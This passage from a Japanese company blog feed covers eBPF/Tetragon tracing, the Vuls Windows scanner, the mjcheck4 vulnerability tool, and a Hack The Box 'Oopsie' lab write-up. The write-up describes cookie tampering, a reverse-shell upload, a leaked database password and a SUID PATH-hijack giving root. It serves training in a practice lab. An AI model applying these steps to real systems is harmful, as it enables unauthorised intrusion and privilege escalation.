<li><code>selectors</code>以下はフィルタリング条件と、フィルターにマッチしたときの挙動を定義しています。<ul>
<li><code>matchPID</code><ul>
<li>PID Namespace内でpid&#x3D;1ではないプロセスに対してトレースする（つまりコンテナで動かす本来のプロセスはpid 1なのでトレース対象外で、 <code>kubectl exec</code> などで実行したプロセスがトレース対象となります）</li>
</ul>
</li>
<li>matchArgs<ul>
<li>indexの1番目&#x3D;fileのprefixが <code>etc</code> の場合にトレースする。</li>
</ul>
</li>
<li><code>matchActions.action: FollowFD</code><ul>
<li>カーネル関数に渡されたファイル記述子とファイル名をBPF mapに保存する。</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>他の<code>spec.kprobe</code>以下の部分も同じように、どの関数にeBPFをアタッチするかを定義しています。</p>
<p><code>FllowFD</code>によってBPF mapに保存されたファイル記述子は、他の関数にアタッチされたeBPFからルックアップされます。今回のTracingPolicyだと<code>sys_read()</code>にアタッチされたeBPFが、関数の引数として渡されるファイル記述子がBPF mapに保存されているものかどうかを参照し、そうであればトレースする、という挙動をとります。</p>
<p>今までトレーシング機能を紹介してきましたが、フィルタリング条件に合致するイベントを検出した際に、プロセスに直接SIGKILLを送出する、といったことも可能です。</p>
<h2 id="おわりに">おわりに</h2><p>eBPFとeBPF製品Tetragonに入門にしてみました。Tetragonの親プロジェクトのCiliumでは、eBPFでネットワークを効率化しています。主要クラウドプロバイダーのKubernetesサービスでは、Ciliumが使用できるようになっており、例えばGoogle CloudのGKEではDataplane V2というモードで提供されています。暇があればCilium, eBPF+ネットワークも勉強したいなと思います。</p>
<p>TetragonやBCCの公式ドキュメントのほか、以下のブログを参考にしました。</p>
<p>https://blog.yuuk.io/entry/2021/ebpf-tracing</p>
<p>https://gihyo.jp/admin/serial/01/ubuntu-recipe/0688</p>
]]></content>
    <summary type="html">数年前にクラウドネイティブ注目技術として挙げられたeBPFにかねてよりキャッチアップしたいなと思っていたので、この連載のタイミングでeBPFとその関連プロダクトに入門してみることにしました。CNCFプロジェクト傘下のeBPFを活用したプロダクトとしてはCiliumに触ってみます。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="CNCF" scheme="https://future-architect.github.io/tags/CNCF/"/>
    <category term="Kubernetes" scheme="https://future-architect.github.io/tags/Kubernetes/"/>
    <category term="Linux" scheme="https://future-architect.github.io/tags/Linux/"/>
    <category term="オブサーバビリティ" scheme="https://future-architect.github.io/tags/%E3%82%AA%E3%83%96%E3%82%B5%E3%83%BC%E3%83%90%E3%83%93%E3%83%AA%E3%83%86%E3%82%A3/"/>
  </entry>
  <entry>
    <title>5分でできる。Windowsの脆弱性を「Vuls」で今すぐチェック！</title>
    <link href="https://future-architect.github.io/articles/20230508a/"/>
    <id>https://future-architect.github.io/articles/20230508a/</id>
    <published>2023-05-07T15:00:00.000Z</published>
    <updated>2023-05-07T15:00:00.000Z</updated>
    <author><name>島ノ江励</name></author>
    <content type="html"><![CDATA[<h2 id="はじめに">はじめに</h2><p>こんにちは。ペンギンになりたい見習いエンジニア、島ノ江です。</p>
<p>現在はFutureVulsという脆弱性管理クラウドサービスで、開発とサポートなどを担当しています。</p>
<p>未だよちよち歩きの新米ですが、今回は弊チームがOSSとして公開しメンテナンスしている「Vuls」の新機能についてご紹介させていただきたいと思います。</p>
<h3 id="脆弱性とその検知">脆弱性とその検知</h3><p>皆さんは、自社が保有するサーバやソフトウェアに脆弱性がないかどうか、どのようにチェックしていますか？ 脆弱性を放置したまま運用すると、サイバー攻撃により企業に大きな損害をもたらす恐れがあるため、対策を講じることが不可欠です。</p>
<p>しかし、人間が情報収集から影響調査までを手動で行う脆弱性対応には、膨大な作業量と苦痛と絶望感が伴います。</p>
<p>そこで我々が提供するVulsが登場します。</p>
<p>Vulsは、各種OVALやSecurityTrackerなどの情報、NVDやJVNなどの公開されている脆弱性情報をデータベース化し、サーバやソフトウェアの脆弱性を自動検知するツールです。</p>
<p>また、商用版の継続的脆弱性管理クラウドサービスであるFutureVulsでは、検知した脆弱性の自動リスク判定やチケット機能による差分管理機能などを提供しており、脆弱性管理の一連の作業を自動化できます。</p>
<p>1万 GitHub Star目前！</p>
<img fetchpriority="high" src="/images/2023/20230508a/vuls.png" alt="" width="300" height="100">

<p>そんな便利ツールのVulsですが、これまではWindowsはサポートしていませんでした。</p>
<p>米国の行政機関CISA(Cybersecurity &amp; Infrastructure Security Agency)の報告によると、2021年に頻繁にサイバー攻撃に利用された注意すべき脆弱性上位 15位のなかでWindowsのものは半数を超えています。 そして、Windowsのアップデートや脆弱性の管理は特に重点的に行う必要があるものの、継続的にメンテナンスされているOSSのWindows用脆弱性スキャナはごく少数なのが現状です。</p>
<p>「クッ、やはりWindowsの脆弱性検知は商用版を買うしかないのか…これがOSSの限界か…」と悩んでいたそんなあなたに朗報です！</p>
<p>これまでクラウドサービス版向けに提供されていた、Windowsスキャン機能が移植され、OSSのVulsでもWindowsをスキャンできるようになりました。</p>
<p>参考）継続的脆弱性管理サービス「FutureVuls」Windowsのための脆弱性スキャナをOSS化</p>
<p>この新機能を紹介するため、今回の記事ではWindowsサーバのスキャンを試していきます！</p>
<h2 id="WindowsサーバでVulsの脆弱性スキャンを試す">WindowsサーバでVulsの脆弱性スキャンを試す</h2><p>実際にWindowsサーバにVulsの実行環境を作成して、サーバスキャンをやってみようと思います。</p>
<p>今回は筆者の自宅にあったWindows Server 2012を対象としています。</p>
<p>実行手順は以下の通りです：</p>
<ol>
<li>スキャンをするvuls、脆弱性データベースを作成するgostの実行ファイルをそれぞれ取得する。</li>
<li>gostを実行して、Windowsで検知するためのDBを作成する</li>
<li><code>vuls.exe scan</code>, <code>vuls.exe report</code>により検知し、結果を確認する。</li>
</ol>
<p>たったのこれだけで脆弱性の検知ができます、簡単ですね！<br>以下で実際の作業手順を見ていきます。</p>
<h3 id="実行ファイルの取得">実行ファイルの取得</h3><p>GitHubリポジトリから自分の環境に併せて実行ファイルをダウンロードします。</p>
<ul>
<li>vuls：こちらから最新バージョンのvuls実行ファイルを選択</li>
<li>gost：こちらから最新バージョンのgost実行ファイルを選択</li>
</ul>
<h3 id="検知用の脆弱性データベースの作成">検知用の脆弱性データベースの作成</h3><p>次にWindowsで検知するためのデータベースをローカルに作成します。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">gost.exe fetch microsoft</span><br></pre></td></tr></table></figure>

<p>その後、スキャン用の設定ファイル（config.toml）を作成して、ここで作成したデータベースへのパスを定義します（以下のsqlite3Pathの部分を各自の環境に併せてください）</p>
<figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="comment"># config.toml の内容</span></span><br><span class="line"><span class="section">[gost]</span></span><br><span class="line"><span class="attr">type</span> = <span class="string">&quot;sqlite3&quot;</span></span><br><span class="line"><span class="attr">sqlite3Path</span> =  <span class="string">&quot;C:\\Users\\User\\vuls\\gost.sqlite3&quot;</span>  <span class="comment"># ここを編集</span></span><br><span class="line"><span class="section">[servers]</span></span><br><span class="line"><span class="section">[servers.localhost]</span></span><br><span class="line"><span class="attr">host</span> = <span class="string">&quot;localhost&quot;</span></span><br><span class="line"><span class="attr">port</span> = <span class="string">&quot;local&quot;</span></span><br></pre></td></tr></table></figure>

<h3 id="スキャンとレポートを実行する">スキャンとレポートを実行する</h3><p>以上でWindowsスキャンの準備が完了したので、スキャンを実行します。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vuls.exe scan</span><br></pre></td></tr></table></figure>

<p>最終的なスキャン結果が表示されます。</p>
<p>検出した脆弱性の一覧を表示してみましょう。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vuls.exe report</span><br></pre></td></tr></table></figure>

<img src="/images/2023/20230508a/vuls_report.png" alt="" width="943" height="809" loading="lazy">

<p>自分のサーバで見つかった脆弱性と、それらのCVSSスコアなどが表形式で表示されました。</p>
<p>WindowsのアップデートはKBという単位で提供されていますが、インターネットの情報ではKBとCVSSスコアなどを関連付けるのが手間でした。Vulsを使うと、未適用なKBに含まれる脆弱性をCVEに展開してくれて、さらにそのCVSSを表示してくれるので対応有無を判断しやすくなります。</p>
<p>なお、評価が0.0や？ になっているものは、CVSSスコアが設定されていないものです。</p>
<p>通常の煩雑な脆弱性検知のプロセスを、簡単な導入手順で自動化できるのは楽ですね！ 最終的な出力結果も表形式になっていてとても見やすいです。</p>
<h2 id="まとめ：脆弱性スキャナといえばVulsでしょ">まとめ：脆弱性スキャナといえばVulsでしょ</h2><p>Vulsのスキャナは、どなたでも無償で利用できるオープンソースのツールです。</p>
<p>今回はWindowsスキャンについて紹介しましたが、Vulsは様々なOSに対応しています。脆弱性検知のツールの１つとして是非ご活用ください。</p>
<p>ただし、脆弱性は見つけるだけでは意味がありません。リスクに応じて適切に対応するまでが脆弱性対応です。クラウド版のFutureVulsでは、Vulsで検知した脆弱性の対応優先度の自動判断から解消までのサポートを提供しています。</p>
<p>以上でOSSのVulsで行うWindowsスキャンの紹介を終えたいと思います。</p>
<p>良ければいいね・ツイートなどで共有をお願いします！</p>
]]></content>
    <summary type="html">弊チームがOSSとして公開しメンテナンスしている「Vuls」の新機能についてご紹介させていただきたいと思います。皆さんは、自社が保有するサーバやソフトウェアに脆弱性がないかどうか、どのようにチェックしていますか？</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="OSS" scheme="https://future-architect.github.io/tags/OSS/"/>
    <category term="Vuls" scheme="https://future-architect.github.io/tags/Vuls/"/>
    <category term="Windows" scheme="https://future-architect.github.io/tags/Windows/"/>
  </entry>
  <entry>
    <title>Hack The Box Oopsie を解いてみた</title>
    <link href="https://future-architect.github.io/articles/20230425a/"/>
    <id>https://future-architect.github.io/articles/20230425a/</id>
    <published>2023-04-24T15:00:00.000Z</published>
    <updated>2023-04-24T15:00:00.000Z</updated>
    <author><name>藤戸四恩</name></author>
    <content type="html"><![CDATA[<h2 id="はじめに">はじめに</h2><p>金融グループ所属、2022年4月入社の藤戸四恩です。春の入門ブログ連載の7本目です。</p>
<p>2022年のアドベントカレンダーでHack The Boxのstarting pointを解いてみたの記事を書きました。今回も「Hack The Box」のStarting PointのTIER2のOopsieを解いてみたので感想を書きたいと思います。</p>
<h2 id="Hack-The-Boxとは">Hack The Boxとは</h2><p>Hack The Boxとは、サイバーセキュリティスキルの向上トレーニングができるオンラインプラットフォームです。</p>
<p>仮想の環境が用意されており、脆弱性をついてflagの取得を目的としています。</p>
<h2 id="Starting-Pointとは">Starting Pointとは</h2><p>Starting Pointとは、Hack The Boxを行う上での基礎的なことを学ぶことができる、チュートリアルです。Starting Pointには、TIER0、TIER1、TIER2の3つあります。各問題にTASKが複数あり、最後にflagを取るための誘導になっています。</p>
<h2 id="Oopsie">Oopsie</h2><p>TIER2の問題から<code>root.txt</code>と<code>user.txt</code>の2つフラグを取得する必要があります。</p>
<p>問題はTASK1 ~ TASK10と<code>root.txt</code>と<code>user.txt</code>の中身を提出する12問から構成されています。</p>
<h3 id="TASK1">TASK1</h3><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">With what kind of tool can intercept web traffic?</span><br></pre></td></tr></table></figure>

<p>どのようなツールでWebトラフィックを傍受できるか?　と問われています。<br>こちらは、<code>proxy</code>と回答すればよいです。</p>
<h3 id="TASK2">TASK2</h3><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">What is the path to the directory on the webserver that returns a login page?</span><br></pre></td></tr></table></figure>

<p>ログインページを返す Web サーバー上のディレクトリへのパスは何ですか?　と問われています。</p>
<p><code>http://&#123;IPアドレス&#125;</code> にアクセスしBurp Suiteを使用しながらリクエストを眺めます。</p>
<p>内容は下図のようになります。</p>
<img fetchpriority="high" src="/images/2023/20230425a/image.png" alt="" width="1200" height="526">

<p><code>cdn-cgi/login</code> ディレクトリが存在しているのがわかるので、<code>http://&#123;IPアドレス&#125;/cdn-cgi/login</code> にアクセスしてみます。</p>
<img src="/images/2023/20230425a/image_2.png" alt="" width="1200" height="889" loading="lazy">

<p>Loginページを見つけることができました。</p>
<p>よって、<code>cdn-cgi/login</code>と回答すればよいです。</p>
<h3 id="TASK3-4">TASK3, 4</h3><p>TASK3の問題</p>
<figure class="highlight text"><table><tr><td class="code"><pre><span class="line">What can be modified in Firefox to get access to the upload page?</span><br></pre></td></tr></table></figure>

<p>TASK４の問題</p>
<figure class="highlight text"><table><tr><td class="code"><pre><span class="line">What is the access ID of the admin user?`</span><br></pre></td></tr></table></figure>

<p>TASK3は、アップロードページにアクセスするには、Firefoxで何を変更できますか?と問われており、TASK４は、admin ユーザーのアクセスIDを問われています。TASK2のログインページでLogin as Guestのリンクがあるのでクリックしてみます。</p>
<img src="/images/2023/20230425a/image_3.png" alt="" width="1200" height="690" loading="lazy">

<p>ヘッダーのAccountをクリックしてみます。<br><img src="/images/2023/20230425a/image_4.png" alt="" width="1200" height="690" loading="lazy"></p>
<p>URLが<code>http://&#123;IPアドレス&#125;/cdn-cgi/login/admin.php?content=accounts&amp;id=2</code>とguestの時idが2となっています。そこでid&#x3D;1にしてURLを叩いてみます。</p>
<img src="/images/2023/20230425a/image_5.png" alt="" width="1200" height="686" loading="lazy">

<p>adminユーザのIDがわかりました。</p>
<p>よって、TASK3の回答が<code>cookie</code>で、TASK4の回答が<code>34322</code>となります。</p>
<h3 id="TASK5">TASK5</h3><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">On uploading a file, what directory does that file appear in on the server?</span><br></pre></td></tr></table></figure>

<p>ファイルをアップロードすると、そのファイルはサーバー上のどのディレクトリに表示されますか?と問われています。</p>
<p>TASK3,4でadminユーザはID34322と分かったので、Cookieのuserを34322、roleをadminに変更し、uploadsをクリックします。</p>
<img src="/images/2023/20230425a/image_6.png" alt="" width="1200" height="743" loading="lazy">

<p>ファイルをアップロードすると<code>The file &#123;ファイル名&#125; has been uploaded.</code>と表示されます。</p>
<p>gobusterをつかって、探索してみます。</p>
<img src="/images/2023/20230425a/image_7.png" alt="" width="751" height="410" loading="lazy">

<p><code>uploads</code>がありました。よって、回答は<code>uploads</code>です。また、ファイルをアップロードすると<code>uploads</code>配下にファイルが格納されそうと推測できます。</p>
<h3 id="TASK6">TASK6</h3><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">What is the file that contains the password that is shared with the robert user?</span><br></pre></td></tr></table></figure>

<p>robert ユーザーと共有されているパスワードを含むファイルは何ですか?と問われています。</p>
<p>実際にアクセスしてみます。</p>
<img src="/images/2023/20230425a/image_8.png" alt="image.png" width="751" height="410" loading="lazy">

<p>権限がないと怒られます。</p>
<p>php-reverse-shellをファイルアップロードして、reverse-shellを試みます。</p>
<img src="/images/2023/20230425a/image_9.png" alt="" width="908" height="138" loading="lazy">

<p>lsコマンドで色々探してると、<code>/var/www/html/cdn-cgi/login</code>配下にdb.phpファイルが存在します。<br>db.phpファイルをcatしてみます。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">cat</span> db.php</span></span><br><span class="line">&lt;?php</span><br><span class="line"><span class="meta prompt_">$</span><span class="language-bash">conn = mysqli_connect(<span class="string">&#x27;localhost&#x27;</span>,<span class="string">&#x27;robert&#x27;</span>,<span class="string">&#x27;M3g4C0rpUs3r!&#x27;</span>,<span class="string">&#x27;garage&#x27;</span>);</span></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure>

<p>MySQLへの接続情報が記載されています。よって、設問の解答は<code>db.php</code>になります。</p>
<h3 id="TASK7">TASK7</h3><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">What executible is run with the option &quot;-group bugtracker&quot; to identify all files owned by the bugtracker group?</span><br></pre></td></tr></table></figure>

<p>bugtrackerグループが所有するすべてのファイルを特定するために、オプション “-group bugtracker” を付けて実行される実行ファイルは何か？ と問われています。</p>
<p>whoamiコマンドを実行すると <code>www-data</code>と表示されます。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">whoami</span></span></span><br><span class="line">www-data</span><br></pre></td></tr></table></figure>

<p>robertに切り替えたいと考えたのですが、ここで詰まってしまい、walkthroughを確認してしまいました。</p>
<ul>
<li>Hack The Box は Starting Pointの問題は、walkthroughという回答が用意されています。</li>
</ul>
<img src="/images/2023/20230425a/image_10.png" alt="" width="725" height="105" loading="lazy">

<p>walkthroughを確認すると、どうやらPythonの実行環境があるらしいので、上図のように実行します。</p>
<p>※なぜptyをimportしているかはこちらの記事が参考になりました。<sup id="fnref:1">1</sup></p>
<p>robertにユーザを変更します。</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">su robert</span><br></pre></td></tr></table></figure>

<p>パスワードはMySQLの接続情報に記載されていた<code>M3g4C0rpUs3r!</code>を入力するとユーザを切り替えできました。<br>bugtrackerに属するファイルを探します。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">find / -group bugtracker 2&gt;/dev/null</span></span><br><span class="line"><span class="meta prompt_">&gt; </span><span class="language-bash">/usr/bin/bugtracker</span></span><br></pre></td></tr></table></figure>

<p>何やら怪しげなファイルがありました。設問の回答としては、<code>find</code>です。</p>
<h3 id="TASK8">TASK8</h3><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">Regardless of which user starts running the bugtracker executable, what&#x27;s user privileges will use to run?</span><br></pre></td></tr></table></figure>

<p>どのユーザーがbugtracker実行ファイルを実行し始めたかに関わらず、実行するために使用するユーザー権限は何ですか？ と問われています。こちらの回答は<code>root</code>になります。</p>
<h3 id="TASK9">TASK9</h3><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">What SUID stands for?</span><br></pre></td></tr></table></figure>

<p>SUIDは何を表すかを問われています。SUIDについて知らなかったため調べてみました。<sup id="fnref:2">2</sup></p>
<p>SUIDとは、Set owner User IDの略で、セットしたUserIDでファイルが実行されるそうです。</p>
<p>よって回答としては、<code>Set owner User ID</code>になります。</p>
<h3 id="TASK10">TASK10</h3><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">What is the name of the executable being called in an insecure manner?</span><br></pre></td></tr></table></figure>

<p>安全でない方法で呼び出されている実行ファイルの名前は何ですか？ と問われています。</p>
<p>TASK7でbugtracker　グループに属しているファイルを実行してみます。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">/usr/bin/bugtracker</span></span><br><span class="line"></span><br><span class="line">------------------</span><br><span class="line">: EV Bug Tracker :</span><br><span class="line">------------------</span><br><span class="line"></span><br><span class="line">Provide Bug ID: hoge</span><br><span class="line">---------------</span><br><span class="line"></span><br><span class="line">cat: /root/reports/hoge: No such file or directory</span><br></pre></td></tr></table></figure>

<p>実行するとidを聞かれ、hogeと入力すると出力結果には、<code>cat: /root/reports/hoge: No such file or directory</code> と表示されていることがわかります。</p>
<p>つまり、このファイルは <code>/root/reports/</code> 入力値のファイルを <code>cat</code> していることがわかります。</p>
<p>設問の解答としては、<code>cat</code>になります。</p>
<h3 id="user-txtの取得">user.txtの取得</h3><p><code>user.txt</code> は既に <code>/home/robert/</code> 配下に存在しているのでその中身を取得すればよいです。</p>
<h3 id="root-txtの取得">root.txtの取得</h3><p><code>/usr/bin/bugtrancker</code> は <code>root</code> ユーザとして実行される。<br><code>cat</code> を自分の作成したファイルを呼び出したい。<br>そこで、 <code>/tmp</code> 配下に <code>cat</code> ファイルを作成し、</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> /tmp</span><br><span class="line"><span class="built_in">touch</span> <span class="built_in">cat</span></span><br><span class="line"><span class="built_in">chmod</span> +x <span class="built_in">cat</span></span><br></pre></td></tr></table></figure>

<p>また、 <code>cat</code> ファイルの中身に <code>/bin/bash</code> を書き込みます。</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;/bin/bash&quot;</span> &gt; <span class="built_in">cat</span></span><br><span class="line"><span class="built_in">export</span> PATH=<span class="string">&quot;/tmp:<span class="variable">$PATH</span>&quot;</span></span><br></pre></td></tr></table></figure>

<p>これにより、<code>/usr/bin/bugtracker</code>を実行し、 <code>whoami</code> を実行すると <code>root</code> ユーザでシェルが立ち上がっているのが確認できます。</p>
<img src="/images/2023/20230425a/image_11.png" alt="" width="338" height="197" loading="lazy">

<p>あとは <code>/root</code> 配下のフラグを提出すれば完了です。</p>
<h2 id="まとめ">まとめ</h2><p>今回は権限昇格がポイントでした。</p>
<p>権限昇格の部分で非常に詰まりました。</p>
<p>TIER2以降では権限昇格は必要な知識なので、しっかり使えるようになることが大切だと感じました。</p>
<p>明日の記事は、渡邉さんのPulumiで始めるIaC入門です。</p>
<div id="footnotes"><hr><div id="footnotelist"><ol style="list-style:none; padding-left: 0;"><li id="fn:1"><span style="vertical-align: top; padding-right: 10px;">1.</span><span style="vertical-align: top;">https://qiita.com/kasei-san/items/3edb52359ff288d2f435</span> ↩</li><li id="fn:2"><span style="vertical-align: top; padding-right: 10px;">2.</span><span style="vertical-align: top;">https://eng-entrance.com/linux-permission-suid</span> ↩</li></ol></div></div>]]></content>
    <summary type="html">Hack The BoxのStarting PointのTIER2のOopsieを解いてみました。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="HackTheBox" scheme="https://future-architect.github.io/tags/HackTheBox/"/>
    <category term="競技プログラミング" scheme="https://future-architect.github.io/tags/%E7%AB%B6%E6%8A%80%E3%83%97%E3%83%AD%E3%82%B0%E3%83%A9%E3%83%9F%E3%83%B3%E3%82%B0/"/>
  </entry>
  <entry>
    <title>初めてのセキュリティ情報収集（mjckeck4）</title>
    <link href="https://future-architect.github.io/articles/20230419a/"/>
    <id>https://future-architect.github.io/articles/20230419a/</id>
    <published>2023-04-18T15:00:00.000Z</published>
    <updated>2023-04-18T15:00:00.000Z</updated>
    <author><name>井上圭</name></author>
    <content type="html"><![CDATA[<p>こんにちは。Cyber Security Innovation Group（CSIG）の井上です。</p>
<p>部門名の通り、サイバーセキュリティに関する部署で、セキュリティコンサルティングやFutureVuls（ https://vuls.biz）という脆弱性対策サービスのコンサルティングやサポートをしています。</p>
<h2 id="はじめに">はじめに</h2><p>春の入門祭り2023 という事で、<strong>初めて脆弱性対応をする方</strong> に向けた記事を書いてみようと思います。<br>この時期になると、部門移動等で情報システム部に移動し「何をやっていいのか分からない…」という話も時々聞きます。</p>
<p>今回は、IPAのmjcheck4 というツールを使った、 <strong>セキュリティ情報の収集</strong> についてお話しようと思います。</p>
<h2 id="セキュリティ情報収集とは">セキュリティ情報収集とは</h2><p>世の中にはセキュリティ情報はいろいろあります。<br>例えば、雑に説明すると以下のようなものがあります。</p>
<ul>
<li>攻撃手法、攻撃者の動向に関する情報<ul>
<li>攻撃がどのように進むのかや、攻撃者グループの動向などの情報を示します。</li>
<li>これらの情報は、例えば、MITRE ATT&amp;CKのGroups（ https://attack.mitre.org/groups/）などにも記載されています。</li>
</ul>
</li>
<li>IoC（Indicator of Compromise：侵害指標）の情報<ul>
<li>マルウェアのファイル名や攻撃者の通信先IPアドレスなど、攻撃時に残された痕跡情報を示します。</li>
<li>例えば、「特定のIPがIoCとして公開されたので ProxyやFirewallのブロック対象に追加する」「ネットワーク機器のログに該当のIPが存在すれば、攻撃を受けている可能性がある」、のような使い方をします</li>
</ul>
</li>
<li>脆弱性に関する情報<ul>
<li>ソフトウェア等の脆弱性に関する、発見やPoC&#x2F;Exploit（検証や悪用ができる実証コード）、更新プログラムの提供や回避策などの情報を示します。</li>
<li>一般的に、脆弱性情報はNIST（National Insitute of Standards and Technology：米国立標準技術研究所）のNVD（National Vulnerability Database：脆弱性情報データベース）に登録され、日本国内で主に使われる製品はJVN（Japan Vulnerability Notes）に登録されていきます。<ul>
<li>例えば、Log4Shellとして有名な脆弱性 CVE-2021-44228 の情報は、 https://nvd.nist.gov/vuln/detail/CVE-2021-44228 のように公開されています。</li>
</ul>
</li>
<li>これらを、「いろいろなソースを集約」して「自分が利用している製品に絞って閲覧」するためには、何らかのツールや製品が必要になります。<ul>
<li><strong>今回紹介する mjcheck4 もそのツールのうちの一つです</strong></li>
</ul>
</li>
</ul>
</li>
<li>インシデントに関する情報<ul>
<li>実際に発生した被害の状況や傾向に関する情報です。</li>
<li>一般的には、セキュリティ系のネットニュースなどを参考にすることが多いと思います。</li>
</ul>
</li>
<li>etc</li>
</ul>
<p>今回は、「<strong>初めてのセキュリティ情報収集</strong>」という事で、一番身近で活用しやすい「<strong>脆弱性情報の収集</strong>」について書いていきます。</p>
<p>IPA（独立行政法人 情報処理推進機構）とJPCERT&#x2F;CC（JPCERTコーディネーションセンター）が共同運営している脆弱性対策情報 JVN iPedia（ https://jvndb.jvn.jp/apis/myjvn/）のデータを基に使う、脆弱性対策情報収集ツール mjcheck4 を見ていきます。</p>
<h2 id="mjcheck4とは">mjcheck4とは</h2><img fetchpriority="high" src="/images/2023/20230419a/image.png" alt="" width="601" height="255">

<p>ツールのページ https://jvndb.jvn.jp/apis/myjvn/mjcheck4.html を確認すると、「<strong>M</strong>y<strong>J</strong>VN脆弱性対策情報フィルタリング収集ツール（<strong>check</strong>）の<strong>4</strong>番目」の略称と思われます。<br>日本国内向け製品の脆弱性情報も含まれる「JVN iPedia」の情報を簡単に利用するためのツールです。</p>
<ul>
<li>脆弱性対策情報収集対象製品を、、<ul>
<li>グラフィカルに選択可能</li>
<li>SBOMでの入力も可能</li>
</ul>
</li>
<li>収集した脆弱性情報を、、<ul>
<li>画面上で閲覧可能</li>
<li>メール、SBOM、での出力が可能</li>
</ul>
</li>
</ul>
<p>今回はこのツールを使い、自組織が利用している製品の脆弱性を自動的に収集してみましょう。</p>
<h2 id="使い方">使い方</h2><p>導入自体は MyJVNのページ（ https://jvndb.jvn.jp/apis/myjvn/mjcheck4.html#mjcheck4_install）通りですので、省略します。</p>
<ul>
<li>利用規約について同意する</li>
<li>対象のファイルをダウンロードし、<code>setup.exe</code>を用いてインストールする</li>
<li>収集対象製品を選定し、データのダウンロード</li>
<li>収集した脆弱性情報を閲覧</li>
</ul>
<p>Windowsアプリケーションとして実装されているので、特に難しい事は無いと思います。<br>利用している製品を登録することで、JVN iPediaに脆弱性が登録されていれば通知がされる仕組みになっています。</p>
<ul>
<li>バージョン番号は使わず、特定日以降の日付で発見されたもの、というチェック方法です。<ul>
<li>そのため、まずは該当製品の過去の脆弱性を全件抽出し、現状を把握する必要があります。「収集起点日（最終更新日）」で指定ができます。</li>
<li>一度チェックが終われば、あとは「新しく報告された脆弱性」を確認するだけになります。</li>
</ul>
</li>
</ul>
<p>設定<br><img src="/images/2023/20230419a/image_2.png" alt="" width="700" height="395" loading="lazy"></p>
<p>収集状況概要<br><img src="/images/2023/20230419a/image_3.png" alt="" width="600" height="338" loading="lazy"></p>
<p>脆弱性情報詳細<br><img src="/images/2023/20230419a/image_4.png" alt="" width="600" height="338" loading="lazy"></p>
<p>本ツールもそうですが、脆弱性検出の為にはソフトウェアの一意の特定が必要で、PCEという表記を利用しています。今回はこれについても説明します。</p>
<h2 id="CPEとは">CPEとは</h2><p>CPEは「<strong>C</strong>ommon <strong>P</strong>latform <strong>E</strong>numeration：共通プラットフォーム一覧」と呼ばれる、ソフトウェアやファームウェアを一意で識別するための仕組みです。詳細はIPAの https://www.ipa.go.jp/security/vuln/<br>scap&#x2F;cpe.html で解説がされています。</p>
<ul>
<li><code>cpe:2.3:&#123;種別&#125;:&#123;ベンダ名&#125;:&#123;製品名&#125;:&#123;バージョン&#125;:&#123;アップデート&#125;:&#123;エディション&#125;:&#123;言語&#125;</code>の構造です</li>
<li>脆弱性管理製品にCPEを登録することで、OSベンダーパッケージ提供以外の製品の脆弱性を検知することを想定しています<ul>
<li>CPE登録 -&gt; 脆弱性情報で「影響を受ける製品」として登録されるCPEとマッチング -&gt; 該当すれば、その脆弱性が内包されると判断します</li>
</ul>
</li>
</ul>
<p>NVDであればSearchCommonPlatformEnumerationsというページで検索ができるのですが、例えば以下のようになります。</p>
<ul>
<li>FortiOS（ForinetのFortigate製品のOS）<ul>
<li><code>cpe:2.3:o:fortinet:fortios:7.2.4:*:*:*:*:*:*:*</code>で表現されます</li>
<li>後半の<code>*</code>は、エディションや言語などが想定され、通常は<code>*</code>のままで利用されています</li>
</ul>
</li>
<li>Fortigate 1000e（ハードウェア）<ul>
<li><code>cpe:2.3:h:fortinet:fortigate-1100e:-:*:*:*:*:*:*:*</code>で表現されます</li>
</ul>
</li>
</ul>
<p>mjcheck4はバージョン2.2の表記方法を使っているようで、アップデート以降の表記が上記と異なっていますが、意図としては同じものです。<br>以下にFortiOSの例を示します。</p>
<ul>
<li>version 2.2<ul>
<li><code>cpe:/o:fortinet:fortios:7.2.4</code></li>
<li>シンプルに、バージョンまでを表現しています</li>
<li>mjcheck4のCPEはこのタイプです</li>
</ul>
</li>
<li>version 2.3<ul>
<li><code>cpe:2.3:o:fortinet:fortios:7.2.4:*:*:*:*:*:*:*</code></li>
<li>CPEのバージョンを示す<code>:2.3:</code>部分が追加されています</li>
<li>製品バージョン以降に、詳細な分類をするための項目（<code>:&#123;アップデート&#125;:&#123;エディション&#125;:&#123;言語&#125;</code>）が用意されています<ul>
<li>用意されていますが…、あまり使われていない印象です。しかしながら、項目として用意されていること、が重要です。</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>OS標準パッケージ以外の製品（ソフトウェアだけではなく、ハードウェアも含めて）の脆弱性管理をする場合、この<strong>CPE</strong>というものをよく使うので、おおよそのフォーマットは覚えておいた方が良いです。</p>
<h2 id="脆弱性情報収集後の対応">脆弱性情報収集後の対応</h2><p>検出後の対応については本ツールの範囲外ですが、概要を書いておきます。</p>
